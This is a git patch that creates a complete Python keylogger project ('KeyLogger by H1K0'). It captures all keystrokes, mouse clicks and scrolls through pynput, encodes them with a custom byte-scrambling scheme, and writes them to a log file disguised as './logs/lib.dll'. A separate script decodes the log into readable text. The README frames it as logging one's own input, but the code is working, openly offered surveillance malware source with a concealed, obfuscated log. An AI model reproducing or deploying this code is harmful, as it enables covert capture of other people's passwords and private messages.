From 0caef08c36940d66bf0a4e49f077ed5f42ca43f9 Mon Sep 17 00:00:00 2001 From: Masahiko AMANO Date: Thu, 11 Nov 2021 15:22:08 +0300 Subject: [PATCH] Init commit --- .gitignore | 2 + README.MD | 19 ++++ config.py | 1 + delog.py | 266 +++++++++++++++++++++++++++++++++++++++++++++++++++++ key.py | 70 ++++++++++++++ logger.py | 35 +++++++ 6 files changed, 393 insertions(+) create mode 100644 .gitignore create mode 100644 README.MD create mode 100644 config.py create mode 100644 delog.py create mode 100644 key.py create mode 100644 logger.py diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..186931e --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +.idea +logs \ No newline at end of file diff --git a/README.MD b/README.MD new file mode 100644 index 0000000..cd4cc16 --- /dev/null +++ b/README.MD @@ -0,0 +1,19 @@ +# KeyLogger by H1K0 ![Python 3.7+](https://img.shields.io/badge/Python-3.7+-blue.svg) + +## Requirements + +- Python 3.7+ +- `pynput` lib +- `threading` lib + +## Usage + +The KeyLogger is a script that logs all your keyboard presses/releases and mouse clicks/scrolls. Just run [key.py](key.py) and the logging is started! + +All data is encrypted and compressed. You can set the path to a log file by modifying the `LOGPATH` in [config.py](config.py). + +To convert the log to text use the [delog.py](delog.py). Just run it. + +--- + +*© Masahiko AMANO a.k.a. H1K0* \ No newline at end of file diff --git a/config.py b/config.py new file mode 100644 index 0000000..4ce28c0 --- /dev/null +++ b/config.py @@ -0,0 +1 @@ +LOGPATH = './logs/lib.dll' diff --git a/delog.py b/delog.py new file mode 100644 index 0000000..01cf627 --- /dev/null +++ b/delog.py @@ -0,0 +1,266 @@ +from datetime import datetime +from os.path import dirname +from config import LOGPATH + + +def decode(cipher): + cipher = list(map(lambda byte: bin(byte)[2:].rjust(8, '0'), cipher)) + stack = '' + plain = [] + i = 0 + while i < len(cipher): + byte = cipher[i] + if byte[0] == '1': + stack += byte[1:] + else: + tail = int(cipher[i + 1], 2) + neg = 1 - int(tail > 127) * 2 + tail %= 128 + plain.append(neg * int(stack + byte[-tail:], 2)) + stack = '' + i += 1 + i += 1 + return plain + + +table = { + 0xC1: 'Abnt C1', + 0xC2: 'Abnt C2', + 0xF6: 'Attn', + 0x08: 'Backspace', + 0x03: 'Break', + 0x0C: 'Clear', + 0xF7: 'Cr Sel', + 0x6E: 'Numpad .', + 0x6B: 'Numpad +', + 0x6F: 'Numpad /', + 0xF9: 'Er Eof', + 0x1B: 'Esc', + 0x2B: 'Execute', + 0xF8: 'Ex Sel', + 0xE6: 'IcoClr', + 0xE3: 'IcoHlp', + 0x30: '0', + 0x31: '1', + 0x32: '2', + 0x33: '3', + 0x34: '4', + 0x35: '5', + 0x36: '6', + 0x37: '7', + 0x38: '8', + 0x39: '9', + 0x41: 'A', + 0x42: 'B', + 0x43: 'C', + 0x44: 'D', + 0x45: 'E', + 0x46: 'F', + 0x47: 'G', + 0x48: 'H', + 0x49: 'I', + 0x4A: 'J', + 0x4B: 'K', + 0x4C: 'L', + 0x4D: 'M', + 0x4E: 'N', + 0x4F: 'O', + 0x50: 'P', + 0x51: 'Q', + 0x52: 'R', + 0x53: 'S', + 0x54: 'T', + 0x55: 'U', + 0x56: 'V', + 0x57: 'W', + 0x58: 'X', + 0x59: 'Y', + 0x5A: 'Z', + 0x6A: 'Numpad *', + 0xFC: 'NoName', + 0x60: 'Numpad 0', + 0x61: 'Numpad 1', + 0x62: 'Numpad 2', + 0x63: 'Numpad 3', + 0x64: 'Numpad 4', + 0x65: 'Numpad 5', + 0x66: 'Numpad 6', + 0x67: 'Numpad 7', + 0x68: 'Numpad 8', + 0x69: 'Numpad 9', + 0xBA: 'OEM_1 (: ;)', + 0xE2: 'OEM_102 (> <)', + 0xBF: 'OEM_2 (? /)', + 0xC0: 'OEM_3 (~ `)', + 0xDB: 'OEM_4 ({ [)', + 0xDC: 'OEM_5 (| \\)', + 0xDD: 'OEM_6 (} ])', + 0xDE: 'OEM_7 (" \')', + 0xDF: 'OEM_8 (ยง !)', + 0xF0: 'Oem Attn', + 0xF3: 'Auto', + 0xE1: 'Ax', + 0xF5: 'Back Tab', + 0xFE: 'OemClr', + 0xBC: 'OEM_COMMA (< ,)', + 0xF2: 'Copy', + 0xEF: 'Cu Sel', + 0xF4: 'Enlw', + 0xF1: 'Finish', + 0x95: 'Loya', + 0x93: 'Mashu', + 0x96: 'Roya', + 0x94: 'Touroku', + 0xEA: 'Jump', + 0xBD: 'OEM_MINUS (_ -)', + 0xEB: 'OemPa1', + 0xEC: 'OemPa2', + 0xED: 'OemPa3', + 0xBE: 'OEM_PERIOD (> .)', + 0xBB: 'OEM_PLUS (+ =)', + 0xE9: 'Reset', + 0xEE: 'WsCtrl', + 0xFD: 'Pa1', + 0xE7: 'Packet', + 0xFA: 'Play', + 0xE5: 'Process', + 0x0D: 'Enter', + 0x29: 'Select', + 0x6C: 'Separator', + 0x20: 'Space', + 0x6D: 'Numpad -', + 0x09: 'Tab', + 0xFB: 'Zoom', + 0xFF: 'NONE', + 0x1E: 'Accept', + 0x5D: 'Context Menu', + 0xA6: 'Browser Back', + 0xAB: 'Browser Favorites', + 0xA7: 'Browser Forward', + 0xAC: 'Browser Home', + 0xA8: 'Browser Refresh', + 0xAA: 'Browser Search', + 0xA9: 'Browser Stop', + 0x14: 'Caps Lock', + 0x1C: 'Convert', + 0x2E: 'Delete', + 0x28: 'Arrow Down', + 0x23: 'End', + 0x70: 'F1', + 0x71: 'F2', + 0x72: 'F3', + 0x73: 'F4', + 0x74: 'F5', + 0x75: 'F6', + 0x76: 'F7', + 0x77: 'F8', + 0x78: 'F9', + 0x79: 'F10', + 0x7A: 'F11', + 0x7B: 'F12', + 0x7C: 'F13', + 0x7D: 'F14', + 0x7E: 'F15', + 0x7F: 'F16', + 0x80: 'F17', + 0x81: 'F18', + 0x82: 'F19', + 0x83: 'F20', + 0x84: 'F21', + 0x85: 'F22', + 0x86: 'F23', + 0x87: 'F24', + 0x18: 'Final', + 0x2F: 'Help', + 0x24: 'Home', + 0xE4: 'Ico00', + 0x2D: 'Insert', + 0x17: 'Junja', + 0x15: 'Kana', + 0x19: 'Kanji', + 0xB6: 'App1', + 0xB7: 'App2', + 0xB4: 'Mail', + 0xB5: 'Media', + 0x01: 'Left Button', + 0xA2: 'Left Ctrl', + 0x25: 'Arrow Left', + 0xA4: 'Left Alt', + 0xA0: 'Left Shift', + 0x5B: 'Left Win', + 0x04: 'Middle Button', + 0xB0: 'Next Track', + 0xB3: 'Play / Pause', + 0xB1: 'Previous Track', + 0xB2: 'Stop', + 0x1F: 'Mode Change', + 0x22: 'Page Down', + 0x1D: 'Non Convert', + 0x90: 'Num Lock', + 0x92: 'Jisho', + 0x13: 'Pause', + 0x2A: 'Print', + 0x21: 'Page Up', + 0x02: 'Right Button', + 0xA3: 'Right Ctrl', + 0x27: 'Arrow Right', + 0xA5: 'Right Alt', + 0xA1: 'Right Shift', + 0x5C: 'Right Win', + 0x91: 'Scroll Lock', + 0x5F: 'Sleep', + 0x2C: 'Print Screen', + 0x26: 'Arrow Up', + 0xAE: 'Volume Down', + 0xAD: 'Volume Mute', + 0xAF: 'Volume Up', + 0x05: 'X Button 1', + 0x06: 'X Button 2' +} + +with open(LOGPATH, 'rb') as file: + data = file.read() +data = list(map(lambda byte: (byte - 190) % 256, data)) +data = decode(data) +data = list(map(lambda n: (n + 54) // 228, data)) + +i = 0 +with open(dirname(LOGPATH) + '/log.txt', 'a', encoding='utf-8') as log: + while i < len(data): + if data[i] == -1: # click + x, y, time = data[i + 1:i + 4] + time = datetime.utcfromtimestamp(time / 1000).strftime('%Y-%m-%d %H:%M:%S.%f')[:-3] + button = 'left' if x > 0 else 'right' + pressed = y > 0 + x = abs(x) + y = abs(y) + log.write(f'\n{time}: Mouse button {button} {"pressed" if pressed else "unpressed"} ({x}, {y})') + i += 3 + elif data[i] == -2: # scroll + x, y, dx, dy, time = data[i + 1:i + 6] + if dx > 0: + dx = 'left ' + elif dx < 0: + dx = 'right ' + if dy > 0: + dy = 'up' + elif dy < 0: + dy = 'down' + time = datetime.utcfromtimestamp(time / 1000).strftime('%Y-%m-%d %H:%M:%S.%f')[:-3] + log.write( + f'\n{time}: Mouse scroll {dy if type(dy) == str else ""}{dx if type(dx) == str else " "}({x}, {y})') + i += 5 + else: # key + vk, time = data[i:i + 2] + time = datetime.utcfromtimestamp(time / 1000).strftime('%Y-%m-%d %H:%M:%S.%f')[:-3] + pressed = True + if vk < 0: + vk = -vk + pressed = False + if vk in table: + key = table[vk] + else: + key = '' + log.write(f'\n{time}: Key "{key}" {"pressed" if pressed else "released"}') + i += 1 + i += 1 diff --git a/key.py b/key.py new file mode 100644 index 0000000..6dadbf6 --- /dev/null +++ b/key.py @@ -0,0 +1,70 @@ +from pynput import keyboard, mouse +from logger import log +from threading import Thread + + +def on_press(key): + try: + log(key.vk) + except AttributeError: + if key.name != 'space': + log(int(str(key.value)[1:-1])) + else: + log(32) + except: + pass + + +def on_release(key): + try: + log(-key.vk) + except AttributeError: + if key.name != 'space': + log(-int(str(key.value)[1:-1]) - 3) + else: + log(-32 - 3) + except: + pass + + +def on_click(x, y, button, pressed): + try: + log(-1, (int(button.name == 'left') * 2 - 1) * x, (int(pressed) * 2 - 1) * y) + except: + pass + + +def on_scroll(x, y, dx, dy): + try: + log(-2, x, y, dx, dy) + except: + pass + + +class KeyThread(Thread): + def __init__(self): + Thread.__init__(self) + + def run(self): + with keyboard.Listener( + on_press=on_press, + on_release=on_release) as keylistener: + keylistener.join() + + +class MouseThread(Thread): + def __init__(self): + Thread.__init__(self) + + def run(self): + with mouse.Listener( + on_click=on_click, + on_scroll=on_scroll) as mouselistener: + mouselistener.join() + + +if __name__ == '__main__': + kthread = KeyThread() + kthread.start() + mthread = MouseThread() + mthread.start() diff --git a/logger.py b/logger.py new file mode 100644 index 0000000..bb84d14 --- /dev/null +++ b/logger.py @@ -0,0 +1,35 @@ +from threading import Thread +from time import time +from config import LOGPATH + + +def encode(plain): + cipher = [] + for num in plain: + neg = num < 0 + num = bin(abs(num))[2:] + while len(num) > 7: + cipher.append('1' + num[:7]) + num = num[7:] + cipher.append(num.rjust(8, '0')) + cipher.append(str(int(neg)) + bin(len(num))[2:].rjust(7, '0')) + return list(map(lambda byte: int(byte, 2), cipher)) + + +class LogThread(Thread): + def __init__(self, data): + Thread.__init__(self) + self.data = list(data) + [int(time() * 1000)] + + def run(self): + cipher = list(map(lambda n: n * 228 - 54, self.data)) + cipher = encode(cipher) + cipher = list(map(lambda byte: (byte + 190) % 256, cipher)) + with open(LOGPATH, 'ab') as logfile: + logfile.write(bytes(cipher)) + + +def log(*data): + logger = LogThread(data) + logger.start() + pass